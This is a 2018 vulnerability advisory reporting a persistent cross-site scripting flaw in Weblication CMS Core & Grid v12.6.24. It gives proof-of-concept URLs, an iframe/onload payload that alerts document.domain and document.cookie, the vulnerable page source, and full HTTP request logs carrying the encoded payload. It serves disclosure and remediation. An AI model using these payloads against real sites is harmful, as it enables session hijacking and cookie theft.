Document Title: =============== Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2121 Release Date: ============= 2018-02-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2121 Common Vulnerability Scoring System: ==================================== 3.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500a! - 1.000a! Product & Service Introduction: =============================== https://help.weblication.de/help12/ Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the official Weblication CMS Core & Grid v12.006.024 CMS. Vulnerability Disclosure Timeline: ================================== 2018-02-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent cross site scripting vulnerability has been discovered in the official Weblication CMS Core & Grid v12.006.024 CMS. The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the service to compromise sensitive user data or affected web-application contents. The security vulnerability is located in the `wFilemanager.php` & `index.php` files of the `/grid5/scripts/` modules. The injection point is located in the Project `Title` and the execution point occurs in the `Inhaltsprojekte` output listing section. Remote attackers with privileged user accounts are able to inject own malicious script code with persistent attack vector to compromise user session credentials or to manipulate the affected web-application module output context. The request method to inject is POST and the attack vector is reflected. The injection point is located in the project Title and the execution point occurs in the Inhaltsprojekte output listing section. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable File(s): [+] index.php [+] wFilemanager.php Vulnerable Input Field(s): [+] Title Affected Module(s): [+] Inhaltsprojekte Proof of Concept (PoC): ======================= The persistent vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC Inject: Title https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- PoC Execute: Inhaltsprojekte https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?path=/default-wGlobal/wGlobal/content/variables/ default.wVariables.php&target=be&selectedTab=&display=&action=startedit&referrer=%2Fde%2Findex.php&redirectEndEdit=&showFileOptions=&anchor= PoC: Payload "><iframe src="evil.source" onload=alert(document.domain)>%20"><iframe src="evil.source" onload=alert(document.cookie)></iframe></iframe> PoC: Vulnerable Source <div style="width:936px;padding-bottom:32px"><div class="headline">Projektbasis</div><div class="variableEntry" data-key="base_source" data-project=""><div class="cellCaption">Projekt basiert auf&nbsp;</div><div class="cellValue" style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_639020500" name="webtag_text_639020500" data-weditortype="input" class="wEditorText" style="" value="default/0.9.latest" tabindex=""></div></div><div class="cellKey">base_source</div></div> <div class="variableEntry" data-key="base_sources_additional" data-project=""><div class="cellCaption">ZusA$?tzliche Weblics Quellen&nbsp;</div> <div class="cellValue" style=""><div class="wWebtagTextEditorInput"><input id="webtag_text_961851163" name="webtag_text_961851163" data-weditortype="input" class="wEditorText" style="" value="" tabindex=""></div></div><div class="cellKey">base_sources_additional</div></div> <div class="info">z.B. password@http://IHREDOMAIN/vorlageprojekt</div><div class="headline">Inhaltsprojekte</div><div class="cellCaption"> &nbsp;</div><div class="cellValue"><div style="padding-bottom:8px"><div class="wui-button wui-button-options" style="cursor:pointer" onclick="showMaskEditProjectOptions('/de')"><div style="line-height:15px"><span>/de <span style="color:#888888">Inhalte</span></span></div></div> <div class="wui-button wui-button-options" style="cursor:pointer" onclick="showMaskEditProjectOptions('/img-src-x-img-img-src-x-img-')"> <div style="line-height:15px"><span>/img-src-x-img-img-src-x-img- <span style="color:#888888">"&gt;<iframe src="evil.source" onload="alert(document.domain)">%20"><iframe src="evil.source" onload=alert(document.cookie)></span> </div></div></div></div><div class="cellKey"> </div><div class="info">Neben den globalen Projekteinstellungen kAPnnen Sie weitere Einstellungen in den jeweiligen Inhalts- bzw. Sprachprojekten vornehmen.</div><div class="headline">Logo</div><div class="variableEntry" data-key="logo_src" data-project=""><div class="cellCaption">Logo </div> PoC: Session Logs Status: 200[OK] POST https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[application/x-www-form-urlencoded] Content-Length[596] Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: action[editOptionsProject] path[%2Fimg-src-x-img-img-src-x-img-] title[%22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.domain%29%3E%2520% 22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29%3E] pathProjectGlobal[%2Fdefault-wGlobal] pathProjectLayout[] language[br] projectConnect[%2Fimg-src-x-img-img-src-x-img-] hostOnly[] pageOffline[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Foffline.php] permissionDenied[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Fpermission-denied.php] W_PRETMP_groups%5B%5D[%5BW_ID%5D] backupGroup[] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img- Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://grid.localhost:8080/weblication/grid5/apps/wEditorWd8/index.php?action=showfileedit&path=/default-wGlobal/ wGlobal/content/variables/default.wVariables.php&target=be&referrer=/de/index.php&display=default&editsource=&hasPlaceholdersToInsert=0] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Content-Encoding[gzip] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=97] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://grid.localhost:8080/weblication/grid5/scripts/wEventmanager.php?action=showEvents&path=/img-src-x-img-img-src-x-img-&type=project&target=embed Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php?action=showMaskEditOptionsProject&path=/img-src-x-img-img-src-x-img-] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Keep-Alive[timeout=5, max=96] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] Reference(s): https://grid.localhost:8080/ https://grid.localhost:8080/weblication/ https://grid.localhost:8080/weblication/grid5/ https://grid.localhost:8080/weblication/grid5/scripts/ https://grid.localhost:8080/weblication/grid5/scripts/wFilemanager.php Solution - Fix & Patch: ======================= The vulnerability can be resolved by a sanitize of the delivered input through the wFilemanager.php file. Parse in the output location the execution point in the Inhaltsprojekte to resolve the issue. Security Risk: ============== The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium (cvss 3.5). Credits & Authors: ================== Benjamin K.M. [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. 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